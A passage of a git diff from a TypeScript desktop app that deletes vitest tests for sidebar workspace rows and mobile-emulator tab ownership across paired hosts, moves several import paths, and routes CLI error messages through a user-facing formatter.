-        { worktreeId: 'api::/w/x', updates: { manualOrder: 7 }, executionHostId: 'runtime:env-1' }
-      ],
-      async () => {}
-    )
-    await Promise.resolve()
-    install(domains([], [serverRow(5)]))
-    expect(shown()).toBe(7)
-    const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
-    vi.advanceTimersByTime(10_000)
-    expect(warn).toHaveBeenCalledOnce()
-    expect(shown()).toBe(1)
-  })
-
-  it('lists a created workspace until main lists it', async () => {
-    const layer = await load()
-    const created = makeWorktree('repo-1::/w/new', 'new', { hostId: 'local' })
-    layer.holdCreatedSidebarWorkspace({ worktree: created })
-    const ids = (main: SidebarFeedDomains) =>
-      [
-        ...layer
-          .overlaySidebarPendingLayer(main, layer.readSidebarPendingLayer(), CATALOG)
-          .workspaces.values()
-      ].map((row) => row.id)
-    expect(ids(domains([rowOf()]))).toEqual([local.id, created.id])
-    install(domains([rowOf()]))
-    expect(ids(domains([rowOf()]))).toEqual([local.id, created.id])
-    install(domains([rowOf(), rowOf(created)]))
-    expect(layer.readSidebarPendingLayer().created).toEqual([])
-  })
-
-  it('lists a workspace created on a paired server until main lists the server’s row', async () => {
-    const layer = await load()
-    const worktree = makeWorktree('api::/w/new', 'new', { hostId: 'runtime:env-1' })
-    const folder = makeFolderWorkspace({ executionHostId: 'runtime:env-1', name: 'Notes' })
-    layer.holdCreatedSidebarWorkspace({ worktree })
-    layer.holdCreatedSidebarWorkspace({ folderWorkspace: folder })
-    const keys = (main: SidebarFeedDomains) => [
-      ...layer
-        .overlaySidebarPendingLayer(main, layer.readSidebarPendingLayer(), CATALOG)
-        .pairedServerRows.keys()
-    ]
-    // Main answered the create, but the server's list has not reached it yet.
-    install(domains([]))
-    expect(keys(domains([]))).toEqual([
-      'runtime:env-1|api::/w/new',
-      'runtime:env-1|folder:folder-1'
-    ])
-    expect(
-      layer
-        .overlaySidebarPendingLayer(domains([]), layer.readSidebarPendingLayer(), CATALOG)
-        .pairedServerRows.get('runtime:env-1|folder:folder-1')
-    ).toMatchObject({ kind: 'folder', displayName: 'Notes' })
-    const listed = layer.overlaySidebarPendingLayer(
-      domains([]),
-      layer.readSidebarPendingLayer(),
-      CATALOG
-    ).pairedServerRows
-    install(domains([], [...listed.values()]))
-    expect(layer.readSidebarPendingLayer().created).toEqual([])
-  })
-
-  it('lets a newer write to the same paired server row win over an older one', async () => {
-    const layer = await load()
-    const write = (manualOrder: number) =>
-      layer.withPendingSidebarRowWrites(
-        () => [
-          { worktreeId: 'api::/w/x', updates: { manualOrder }, executionHostId: 'runtime:env-1' }
-        ],
-        async () => {}
-      )
-    await write(5)
-    await write(7)
-    await Promise.resolve()
-    // Main shows the newer value: nothing older is left to paint over it.
-    install(domains([], [serverRow(7)]))
-    expect(layer.readSidebarPendingLayer().writes).toEqual([])
-  })
-})
diff --git a/src/renderer/src/lib/sidebar-shadow/workspace-activity-shadow.test.ts b/src/renderer/src/lib/sidebar-shadow/workspace-activity-shadow.test.ts
deleted file mode 100644
index 3bcedc91e8c..00000000000
--- a/src/renderer/src/lib/sidebar-shadow/workspace-activity-shadow.test.ts
+++ /dev/null
@@ -1,25 +0,0 @@
-import { describe, expect, it } from 'vitest'
-
-import { useAppStore } from '@/store'
-import { makeWorktree } from '@/components/worktree-jump/worktree-jump-palette-test-fixtures'
-import { toLocallyOwnedRows } from './workspace-activity-shadow'
-
-describe('toLocallyOwnedRows', () => {
-  it('leaves out an id a paired server also lists, since bare-id activity names no one host', () => {
-    const state = {
-      ...useAppStore.getState(),
-      repos: [],
-      folderWorkspaces: [],
-      worktreesByRepo: {
-        'repo-1': [
-          makeWorktree('local-only', 'Local', { hostId: 'local' }),
-          makeWorktree('shared', 'Local twin', { hostId: 'local' }),
-          makeWorktree('shared', 'Server twin', { hostId: 'runtime:box' }),
-          makeWorktree('server-only', 'Server', { hostId: 'runtime:box' })
-        ]
-      }
-    }
-    const values = new Map(['local-only', 'shared', 'server-only', 'unknown'].map((id) => [id, id]))
-    expect([...toLocallyOwnedRows(state, values).keys()]).toEqual(['local-only'])
-  })
-})
diff --git a/src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.ts b/src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.ts
index 4d5ce16a621..670a009e9ea 100644
--- a/src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.ts
+++ b/src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.ts
@@ -2,7 +2,6 @@ import { readLocalRuntimeCapabilitiesOrUnknown } from '@/runtime/hosts/capabilit
 import { EMULATOR_OPENING_PREFERENCES_CAPABILITY } from '../../../../../shared/emulator-runtime-capabilities'
 import { supportsEmulatorOpeningPreferences } from './emulator-opening-preferences-capability'
 import { toast } from 'sonner'
-import type { EmulatorStreamInfo } from '@/components/emulator-pane/emulator-pane-types'
 import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
 import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
@@ -20,8 +19,9 @@ import {
   cancelPendingSimulatorPaneShutdown,
   shutdownManagedSimulatorIfNoPane
 } from '../tabs/simulator-pane-shutdown-scheduler'
-import { assertClientCreationActionAvailable } from '../../client-creation-action-policy'
+import { assertClientCreationActionAvailable } from '../../workspace/creation/surface-policy/client-creation-action-policy'
 import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host'
+import type { EmulatorStreamInfo } from '@/components/emulator-pane/emulator-pane-types'
 
 type OpenMobileEmulatorTabOptions = {
   targetGroupId?: string
diff --git a/src/renderer/src/lib/simulator/search/simulator-palette-search.ts b/src/renderer/src/lib/simulator/search/simulator-palette-search.ts
index 67d934b7ef1..4104b8cc833 100644
--- a/src/renderer/src/lib/simulator/search/simulator-palette-search.ts
+++ b/src/renderer/src/lib/simulator/search/simulator-palette-search.ts
@@ -17,7 +17,7 @@ import { buildPaletteTabDocument } from '../../../../../shared/palette-match/tab
 import {
   resolveWorktreeBranchLabel,
   resolveWorktreeDisplayName
-} from '../../worktree-default-display-name'
+} from '../../workspace/display/worktree-default-display-name'
 import type { MatchRange } from '../../../../../shared/palette-match/normalized-text'
 import {
   createPaletteSearchContext,
diff --git a/src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts b/src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts
deleted file mode 100644
index dd2ba4ccaa4..00000000000
--- a/src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts
+++ /dev/null
@@ -1,576 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
-import type { Tab, TabGroup } from '../../../../../shared/tab-types'
-import type { ExecutionHostId } from '../../../../../shared/execution-host'
-import type { AppState } from '@/store/types'
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import { createTestStore } from '@/store/testing/app-store-test-fixture'
-import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-import { createStoreCascadesMockApi } from '@/store/testing/app-store-cascade-api.test-fixture'
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-
-type DrawnStore = { getState: () => AppState }
-const drawn = vi.hoisted((): { store: DrawnStore | null; main: TabsDrawnFromMain | null } => ({
-  store: null,
-  main: null
-}))
-
-async function drawFromMain(): Promise<{
-  store: DrawnStore
-  sent: () => readonly { type: string }[]
-}> {
-  createStoreCascadesMockApi()
-  const store = createTestStore()
-  const unifiedTabsByWorktree = Object.fromEntries(
-    Object.entries(mockStoreState.unifiedTabsByWorktree).map(([worktreeId, tabs]) => [
-      worktreeId,
-      tabs.map((tab): Tab => ({
-        entityId: tab.id,
-        label: 'Mobile Emulator',
-        customLabel: null,
-        color: null,
-        sortOrder: 0,
-        createdAt: 1,
-        worktreeId,
-        ...tab,
-        contentType: 'simulator'
-      }))
-    ])
-  )
-  const groupsByWorktree = Object.fromEntries(
-    Object.entries(mockStoreState.groupsByWorktree).map(([worktreeId, groups]) => [
-      worktreeId,
-      groups.map(({ id }): TabGroup => ({
-        id,
-        worktreeId,
-        activeTabId: null,
-        tabOrder: (unifiedTabsByWorktree[worktreeId] ?? [])
-          .filter((tab) => tab.groupId === id)
-          .map((tab) => tab.id)
-      }))
-    ])
-  )
-  store.setState({
-    activeWorktreeId: mockStoreState.activeWorktreeId,
-    activeWorkspaceExecutionHostId: mockStoreState.activeWorkspaceExecutionHostId,
-    // One repo per row, so same-id rows on two hosts stay apart.
-    worktreesByRepo: Object.fromEntries(
-      mockStoreState
-        .allWorktrees()
-        .map((row, index) => [
-          `repo-${index}`,
-          [makeWorktree({ ...row, repoId: `repo-${index}`, path: `/path/${index}` })]
-        ])
-    ),
-    folderWorkspaces: [],
-    groupsByWorktree,
-    layoutByWorktree: Object.fromEntries(
-      Object.entries(groupsByWorktree).map(([worktreeId, [first, second]]) => [
-        worktreeId,
-        second
-          ? {
-              type: 'split',
-              direction: 'horizontal',
-              first: { type: 'leaf', groupId: first!.id },
-              second: { type: 'leaf', groupId: second.id }
-            }
-          : { type: 'leaf', groupId: first!.id }
-      ])
-    ),
-    activeGroupIdByWorktree: { ...mockStoreState.activeGroupIdByWorktree },
-    unifiedTabsByWorktree
-  })
-  drawn.main = await drawTabsFromMain(store)
-  drawn.store = store
-  return { store, sent: () => layoutApplyTestTransport.sent }
-}
-
-async function openThroughMain(open: () => string | null): Promise<{
-  tabId: string | null
-  tab: Tab | undefined
-  sent: { type: string; groupId?: string; split?: unknown }[]
-  store: DrawnStore
-}> {
-  const { store, sent } = await drawFromMain()
-  const tabId = open()
-  await drawn.main!.settle()
-  return {
-    tabId,
-    tab: store.getState().unifiedTabsByWorktree['wt-1']?.find((entry) => entry.id === tabId),
-    sent: sent().filter((command) => command.type === 'openSimulatorTab'),
-    store
-  }
-}
-
-// Open locally in group-1 without selection; the active paired-server twin must not redirect ownership.
-async function expectBackgroundLocalOpen(viaMain: boolean): Promise<void> {
-  const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-  const { tabId, tab, sent, store } = await openThroughMain(() =>
-    ensureSimulatorTab('wt-1', { surfacePane: false, executionHostId: 'local' })
-  )
-  expect(sent).toEqual(viaMain ? [expect.objectContaining({ tabId, groupId: 'group-1' })] : [])
-  expect(tab).toMatchObject({
-    contentType: 'simulator',
-    label: 'Mobile Emulator',
-    groupId: 'group-1',
-    executionHostId: 'local'
-  })
-  expectNotSurfaced(store, tab!)
-}
-
-function expectSurfaced(store: DrawnStore, tab: Tab): void {
-  const state = store.getState()
-  const group = state.groupsByWorktree['wt-1']?.find((entry) => entry.id === tab.groupId)
-  expect(group?.activeTabId).toBe(tab.id)
-  expect(group?.recentTabIds).toContain(tab.id)
-  expect(state.activeGroupIdByWorktree['wt-1']).toBe(tab.groupId)
-  expect(state.activeTabType).toBe('simulator')
-}
-
-function expectNotSurfaced(store: DrawnStore, tab: Tab): void {
-  const state = store.getState()
-  const group = state.groupsByWorktree['wt-1']?.find((entry) => entry.id === tab.groupId)
-  expect(group?.recentTabIds ?? []).not.toContain(tab.id)
-  expect(tab.lastFocusedAt).toBeUndefined()
-  expect(state.activeTabType).not.toBe('simulator')
-}
-
-type MockWorktreeRow = { id: string; hostId?: ExecutionHostId; runtimeOwnerEnvironmentId?: string }
-type MockTabRow = {
-  id: string
-  groupId: string
-  worktreeId?: string
-  executionHostId?: ExecutionHostId
-  contentType: string
-  label?: string
-}
-
-const mockStoreState = vi.hoisted(() => ({
-  activeGroupIdByWorktree: {} as Record<string, string>,
-  activeWorkspaceExecutionHostId: ((): ExecutionHostId | null => null)(),
-  activeWorktreeId: 'wt-1',
-  allWorktrees: vi.fn((): MockWorktreeRow[] => []),
-  activateTab: vi.fn(),
-  createEmptySplitGroup: vi.fn(),
-  createUnifiedTab: vi.fn(),
-  createUnifiedTabInSplit: vi.fn(),
-  getTab: vi.fn((tabId: string) =>
-    Object.values(mockStoreState.unifiedTabsByWorktree)
-      .flat()
-      .find((tab) => tab.id === tabId)
-  ),
-  dropUnifiedTab: vi.fn(),
-  folderWorkspaces: [] as {
-    id: string
-    projectGroupId: string
-    name: string
-    folderPath: string
-    executionHostId: string
-  }[],
-  focusGroup: vi.fn(),
-  groupsByWorktree: {} as Record<string, { id: string }[]>,
-  layoutByWorktree: {} as Record<string, unknown>,
-  settings: { mobileEmulatorEnabled: true },
-  setActiveTab: vi.fn(),
-  setActiveTabType: vi.fn(),
-  unifiedTabsByWorktree: ((): Record<string, MockTabRow[]> => ({}))()
-}))
-
-function stubCreatedSimulatorTab(groupId: string): void {
-  mockStoreState.createUnifiedTab.mockImplementation(
-    (worktreeId: string, contentType: string, init: { id: string }) => {
-      mockStoreState.unifiedTabsByWorktree[worktreeId] = [
-        ...(mockStoreState.unifiedTabsByWorktree[worktreeId] ?? []),
-        { id: init.id, groupId, contentType }
-      ]
-    }
-  )
-}
-
-function createdSimulatorTabId(): string {
-  return mockStoreState.createUnifiedTab.mock.calls[0][2].id
-}
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => drawn.store?.getState() ?? mockStoreState
-  }
-}))
-
-describe('ensureSimulatorTab', () => {
-  beforeEach(() => {
-    Object.defineProperty(globalThis, 'navigator', {
-      configurable: true,
-      value: { userAgent: 'Macintosh' }
-    })
-    mockStoreState.activeGroupIdByWorktree = { 'wt-1': 'group-1' }
-    mockStoreState.activeWorkspaceExecutionHostId = null
-    mockStoreState.activeWorktreeId = 'wt-1'
-    mockStoreState.allWorktrees.mockReset().mockReturnValue([])
-    mockStoreState.groupsByWorktree = { 'wt-1': [{ id: 'group-1' }] }
-    mockStoreState.layoutByWorktree = { 'wt-1': { type: 'leaf', groupId: 'group-1' } }
-    mockStoreState.settings = { mobileEmulatorEnabled: true }
-    mockStoreState.unifiedTabsByWorktree = {
-      'wt-1': [{ id: 'sim-1', groupId: 'group-1', contentType: 'simulator' }]
-    }
-    mockStoreState.activateTab.mockReset()
-    mockStoreState.createEmptySplitGroup.mockReset()
-    mockStoreState.createUnifiedTab.mockReset()
-    mockStoreState.createUnifiedTabInSplit.mockReset()
-    mockStoreState.dropUnifiedTab.mockReset()
-    mockStoreState.folderWorkspaces = []
-    mockStoreState.focusGroup.mockReset()
-    mockStoreState.setActiveTab.mockReset()
-    mockStoreState.setActiveTabType.mockReset()
-    if (!ORCA_LAYOUT_OWNER_IS_MAIN) {
-      vi.resetModules()
-    }
-  })
-
-  afterEach(() => {
-    drawn.main?.close()
-    drawn.main = null
-    drawn.store = null
-  })
-
-  it('does not reuse a simulator owned by a same-id sibling host', async () => {
-    mockStoreState.activeWorkspaceExecutionHostId = 'runtime:host-b'
-    mockStoreState.allWorktrees.mockReturnValue([
-      { id: 'wt-1', hostId: 'local' },
-      { id: 'wt-1', hostId: 'runtime:host-b' }
-    ])
-    mockStoreState.unifiedTabsByWorktree = {
-      'wt-1': [
-        {
-          id: 'sim-local',
-          groupId: 'group-1',
-          worktreeId: 'wt-1',
-          executionHostId: 'local',
-          contentType: 'simulator'
-        }
-      ]
-    }
-    stubCreatedSimulatorTab('group-1')
-    const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      const { tabId, tab, sent } = await openThroughMain(() => ensureSimulatorTab('wt-1'))
-      expect(tabId).not.toBe('sim-local')
-      expect(sent).toEqual([])
-      expect(tab).toMatchObject({
-        contentType: 'simulator',
-        groupId: 'group-1',
-        executionHostId: 'runtime:host-b'
-      })
-      return
-    }
-    expect(ensureSimulatorTab('wt-1')).toBe(createdSimulatorTabId())
-    expect(mockStoreState.createUnifiedTab).toHaveBeenCalled()
-  })
-
-  it('reuses a simulator through an SSH worktree paired-runtime owner alias', async () => {
-    mockStoreState.activeWorkspaceExecutionHostId = 'runtime:paired-host'
-    mockStoreState.allWorktrees.mockReturnValue([
-      { id: 'wt-1', hostId: 'local' },
-      {
-        id: 'wt-1',
-        hostId: 'ssh:private-target',
-        runtimeOwnerEnvironmentId: 'paired-host'
-      }
-    ])
-    mockStoreState.unifiedTabsByWorktree = {
-      'wt-1': [
-        {
-          id: 'sim-remote',
-          groupId: 'group-1',
-          worktreeId: 'wt-1',
-          executionHostId: 'runtime:paired-host',
-          contentType: 'simulator'
-        }
-      ]
-    }
-    const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-    expect(ensureSimulatorTab('wt-1')).toBe('sim-remote')
-    expect(mockStoreState.createUnifiedTab).not.toHaveBeenCalled()
-  })
-
-  it('keeps same-id folder workspace simulators on their owning host', async () => {
-    mockStoreState.activeWorktreeId = 'folder:shared'
-    mockStoreState.activeWorkspaceExecutionHostId = 'runtime:paired-host'
-    mockStoreState.activeGroupIdByWorktree = { 'folder:shared': 'group-1' }
-    mockStoreState.groupsByWorktree = { 'folder:shared': [{ id: 'group-1' }] }
-    mockStoreState.folderWorkspaces = [
-      {
-        id: 'shared',
-        projectGroupId: 'local-group',
-        name: 'Local folder',
-        folderPath: '/local/folder',
-        executionHostId: 'local'
-      },
-      {
-        id: 'shared',
-        projectGroupId: 'remote-group',
-        name: 'Remote folder',
-        folderPath: '/remote/folder',
-        executionHostId: 'runtime:paired-host'
-      }
-    ]
-    mockStoreState.unifiedTabsByWorktree = {
-      'folder:shared': [
-        {
-          id: 'sim-local',
-          groupId: 'group-1',
-          worktreeId: 'folder:shared',
-          executionHostId: 'local',
-          contentType: 'simulator'
-        },
-        {
-          id: 'sim-remote',
-          groupId: 'group-1',
-          worktreeId: 'folder:shared',
-          executionHostId: 'runtime:paired-host',
-          contentType: 'simulator'
-        }
-      ]
-    }
-    const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-    expect(ensureSimulatorTab('folder:shared')).toBe('sim-remote')
-  })
-
-  it('cancels pending managed shutdown when surfacing a simulator tab', async () => {
-    vi.useFakeTimers()
-    let cancelPendingSimulatorPaneShutdown: ((worktreeId: string) => void) | null = null
-    try {
-      const shutdownManagedSimulator = vi.fn()
-      const scheduler = await import('./simulator-pane-shutdown-scheduler')
-      cancelPendingSimulatorPaneShutdown = scheduler.cancelPendingSimulatorPaneShutdown
-      scheduler.scheduleSimulatorPaneManagedShutdown('wt-1', 'sim-old', {
-        delayMs: 100,
-        getTabsForWorktree: () => [{ id: 'terminal-1', contentType: 'terminal' }],
-        shutdownManagedSimulator
-      })
-
-      const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-      expect(ensureSimulatorTab('wt-1')).toBe('sim-1')
-
-      await vi.advanceTimersByTimeAsync(100)
-      expect(shutdownManagedSimulator).not.toHaveBeenCalled()
-    } finally {
-      cancelPendingSimulatorPaneShutdown?.('wt-1')
-      vi.useRealTimers()
-    }
-  })
-
-  it('creates a simulator tab in a new right split when requested', async () => {
-    mockStoreState.unifiedTabsByWorktree = { 'wt-1': [] }
-    mockStoreState.createUnifiedTabInSplit.mockReturnValue({
-      id: 'sim-2',
-      groupId: 'group-2',
-      contentType: 'simulator'
-    })
-    const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      const { tab, sent, store } = await openThroughMain(() =>
-        ensureSimulatorTab('wt-1', { placement: 'rightSplit' })
-      )
-      expect(sent).toEqual([
-        expect.objectContaining({ split: { besideGroupId: 'group-1', direction: 'right' } })
-      ])
-      expect(tab).toMatchObject({ contentType: 'simulator', label: 'Mobile Emulator' })
-      expect(tab!.groupId).not.toBe('group-1')
-      expect(sent[0]).toMatchObject({ groupId: tab!.groupId })
-      expectSurfaced(store, tab!)
-      return
-    }
-    expect(ensureSimulatorTab('wt-1', { placement: 'rightSplit' })).toBe('sim-2')
-
-    expect(mockStoreState.createEmptySplitGroup).not.toHaveBeenCalled()
-    expect(mockStoreState.createUnifiedTab).not.toHaveBeenCalled()
-    expect(mockStoreState.dropUnifiedTab).not.toHaveBeenCalled()
-    expect(mockStoreState.createUnifiedTabInSplit).toHaveBeenCalledWith(
-      'wt-1',
-      'simulator',
-      {
-        sourceGroupId: 'group-1',
-        splitDirection: 'right'
-      },
-      {
-        label: 'Mobile Emulator',
-        activate: true
-      }
-    )
-    expect(mockStoreState.activateTab).not.toHaveBeenCalled()
-    expect(mockStoreState.focusGroup).not.toHaveBeenCalled()
-    expect(mockStoreState.setActiveTabType).not.toHaveBeenCalled()
-  })
-
-  it('reuses an existing right split when requested', async () => {
-    mockStoreState.groupsByWorktree = { 'wt-1': [{ id: 'group-1' }, { id: 'group-2' }] }
-    mockStoreState.layoutByWorktree = {
-      'wt-1': {
-        type: 'split',
-        direction: 'horizontal',
-        first: { type: 'leaf', groupId: 'group-1' },
-        second: { type: 'leaf', groupId: 'group-2' }
-      }
-    }
-    mockStoreState.unifiedTabsByWorktree = { 'wt-1': [] }
-    stubCreatedSimulatorTab('group-2')
-    const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      const { tab, sent, store } = await openThroughMain(() =>
-        ensureSimulatorTab('wt-1', { placement: 'rightSplit' })
-      )
-      expect(sent).toEqual([expect.objectContaining({ groupId: 'group-2' })])
-      expect(sent[0]).not.toHaveProperty('split')
-      expect(tab).toMatchObject({ label: 'Mobile Emulator', groupId: 'group-2' })
-      expectSurfaced(store, tab!)
-      return
-    }
-    expect(ensureSimulatorTab('wt-1', { placement: 'rightSplit' })).toBe(createdSimulatorTabId())
-
-    expect(mockStoreState.createUnifiedTabInSplit).not.toHaveBeenCalled()
-    expect(mockStoreState.createUnifiedTab).toHaveBeenCalledWith('wt-1', 'simulator', {
-      id: expect.any(String),
-      label: 'Mobile Emulator',
-      targetGroupId: 'group-2',
-      activate: true
-    })
-    expect(mockStoreState.activateTab).toHaveBeenCalledWith(createdSimulatorTabId())
-    expect(mockStoreState.focusGroup).toHaveBeenCalledWith('wt-1', 'group-2')
-    expect(mockStoreState.setActiveTabType).toHaveBeenCalledWith('simulator', 'wt-1')
-  })
-
-  it('does not create a split for background auto-attach', async () => {
-    mockStoreState.unifiedTabsByWorktree = { 'wt-1': [] }
-    stubCreatedSimulatorTab('group-1')
-    const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      const { tabId, tab, sent, store } = await openThroughMain(() =>
-        ensureSimulatorTab('wt-1', { placement: 'rightSplit', surfacePane: false })
-      )
-      expect(sent).toEqual([expect.objectContaining({ tabId, groupId: 'group-1' })])
-      expect(sent[0]).not.toHaveProperty('split')
-      expect(tab).toMatchObject({ label: 'Mobile Emulator', groupId: 'group-1' })
-      expectNotSurfaced(store, tab!)
-      return
-    }
-    expect(ensureSimulatorTab('wt-1', { placement: 'rightSplit', surfacePane: false })).toBe(
-      createdSimulatorTabId()
-    )
-
-    expect(mockStoreState.dropUnifiedTab).not.toHaveBeenCalled()
-    expect(mockStoreState.createUnifiedTabInSplit).not.toHaveBeenCalled()
-    expect(mockStoreState.createUnifiedTab).toHaveBeenCalledWith('wt-1', 'simulator', {
-      id: expect.any(String),
-      label: 'Mobile Emulator',
-      targetGroupId: 'group-1',
-      activate: false
-    })
-    expect(mockStoreState.activateTab).not.toHaveBeenCalled()
-    expect(mockStoreState.focusGroup).not.toHaveBeenCalled()
-    expect(mockStoreState.setActiveTabType).not.toHaveBeenCalled()
-  })
-
-  it('stamps an inactive local simulator amid a same-id host collision', async () => {
-    mockStoreState.activeWorktreeId = 'wt-other'
-    mockStoreState.activeWorkspaceExecutionHostId = 'runtime:host-b'
-    mockStoreState.allWorktrees.mockReturnValue([
-      { id: 'wt-1', hostId: 'local' },
-      { id: 'wt-1', hostId: 'runtime:host-b' }
-    ])
-    mockStoreState.unifiedTabsByWorktree = { 'wt-1': [] }
-    stubCreatedSimulatorTab('group-1')
-    const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      await expectBackgroundLocalOpen(true)
-      return
-    }
-    expect(ensureSimulatorTab('wt-1', { surfacePane: false, executionHostId: 'local' })).toBe(
-      createdSimulatorTabId()
-    )
-    expect(mockStoreState.createUnifiedTab).toHaveBeenCalledWith('wt-1', 'simulator', {
-      id: expect.any(String),
-      label: 'Mobile Emulator',
-      targetGroupId: 'group-1',
-      activate: false,
-      executionHostId: 'local'
-    })
-  })
-
-  it('does not reuse the sole known simulator when an explicit owner differs', async () => {
-    mockStoreState.activeWorktreeId = 'wt-other'
-    mockStoreState.allWorktrees.mockReturnValue([{ id: 'wt-1', hostId: 'runtime:host-b' }])
-    mockStoreState.unifiedTabsByWorktree = {
-      'wt-1': [
-        {
-          id: 'sim-remote',
-          groupId: 'group-1',
-          worktreeId: 'wt-1',
-          executionHostId: 'runtime:host-b',
-          contentType: 'simulator'
-        }
-      ]
-    }
-    stubCreatedSimulatorTab('group-1')
-    const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      await expectBackgroundLocalOpen(false)
-      return
-    }
-    expect(ensureSimulatorTab('wt-1', { surfacePane: false, executionHostId: 'local' })).toBe(
-      createdSimulatorTabId()
-    )
-    expect(mockStoreState.createUnifiedTab).toHaveBeenCalledWith('wt-1', 'simulator', {
-      id: expect.any(String),
-      label: 'Mobile Emulator',
-      targetGroupId: 'group-1',
-      activate: false,
-      executionHostId: 'local'
-    })
-  })
-
-  it('reuses an explicitly owned simulator before its worktree row hydrates', async () => {
-    mockStoreState.activeWorktreeId = 'wt-other'
-    mockStoreState.allWorktrees.mockReturnValue([{ id: 'wt-1', hostId: 'runtime:host-b' }])
-    mockStoreState.unifiedTabsByWorktree = {
-      'wt-1': [
-        {
-          id: 'sim-local',
-          groupId: 'group-1',
-          worktreeId: 'wt-1',
-          executionHostId: 'local',
-          contentType: 'simulator'
-        }
-      ]
-    }
-    const { ensureSimulatorTab } = await import('./ensure-simulator-tab')
-
-    expect(ensureSimulatorTab('wt-1', { surfacePane: false, executionHostId: 'local' })).toBe(
-      'sim-local'
-    )
-    expect(mockStoreState.createUnifiedTab).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/simulator/tabs/simulator-tab-layout-owner.ts b/src/renderer/src/lib/simulator/tabs/simulator-tab-layout-owner.ts
index 61832487baa..1b3486ff5ee 100644
--- a/src/renderer/src/lib/simulator/tabs/simulator-tab-layout-owner.ts
+++ b/src/renderer/src/lib/simulator/tabs/simulator-tab-layout-owner.ts
@@ -9,7 +9,7 @@ import {
 import type { AppState } from '@/store/types'
 import { isFrameDrawnServerWorkspace } from '@/runtime/web-session-tabs-sync/frame-drawn-server-workspace-set'
 import { runtimeEnvironmentIdUnlessTwin } from '../../workspace/ownership/resolve-owner'
-import { noteDesktopCreatedServerTab } from '../../desktop-created-server-tabs'
+import { noteDesktopCreatedServerTab } from '../../../store/workspace-layout/frames/desktop-created-server-tabs'
 
 export type SimulatorTabOpen = {
   worktreeId: string
diff --git a/src/renderer/src/lib/skills/installation/agent-skill-cli-prerequisite.ts b/src/renderer/src/lib/skills/installation/agent-skill-cli-prerequisite.ts
index b2b855dc230..9292238bb95 100644
--- a/src/renderer/src/lib/skills/installation/agent-skill-cli-prerequisite.ts
+++ b/src/renderer/src/lib/skills/installation/agent-skill-cli-prerequisite.ts
@@ -1,6 +1,7 @@
 import { toast } from 'sonner'
 import type { CliInstallStatus } from '../../../../../shared/cli-install-types'
 import { translate } from '@/i18n/i18n'
+import { formatCliUserFacingDetail } from '@/lib/cli-emulator-user-facing-copy'
 
 type EnsureOrcaCliAvailableOptions = {
   onStatusChange?: (status: CliInstallStatus) => void
@@ -46,7 +47,7 @@ export async function ensureOrcaCliAvailableForAgentSkillTerminal({
   } catch (error) {
     toast.error(
       error instanceof Error
-        ? error.message
+        ? formatCliUserFacingDetail(error.message) || error.message
         : translate(
             'auto.lib.agent.skill.cli.prerequisite.8d6eedf97e',
             'Failed to register the Orca CLI in PATH.'
@@ -79,7 +80,7 @@ function showCliPrerequisiteWarning(status: CliInstallStatus): void {
       ),
       {
         description:
-          status.detail ??
+          formatCliUserFacingDetail(status.detail) ||
           translate(
             'auto.lib.agent.skill.cli.prerequisite.15cbedc3e3',
             'Install the Orca CLI before running agent skill setup.'
@@ -97,7 +98,7 @@ function showCliPrerequisiteWarning(status: CliInstallStatus): void {
       ),
       {
         description:
-          status.detail ??
+          formatCliUserFacingDetail(status.detail) ||
           translate(
             'auto.lib.agent.skill.cli.prerequisite.15cbedc3e3',
             'Install the Orca CLI before running agent skill setup.'
@@ -115,7 +116,7 @@ function showCliPrerequisiteWarning(status: CliInstallStatus): void {
       ),
       {
         description:
-          status.detail ??
+          formatCliUserFacingDetail(status.detail) ||
           translate(
             'auto.lib.agent.skill.cli.prerequisite.refreshCliRegistration',
             'Refresh CLI registration status and try again.'
@@ -134,7 +135,7 @@ function showCliPrerequisiteWarning(status: CliInstallStatus): void {
       ),
       {
         description:
-          status.detail ??
+          formatCliUserFacingDetail(status.detail) ||
           translate(
             'auto.lib.agent.skill.cli.prerequisite.0f116999f1',
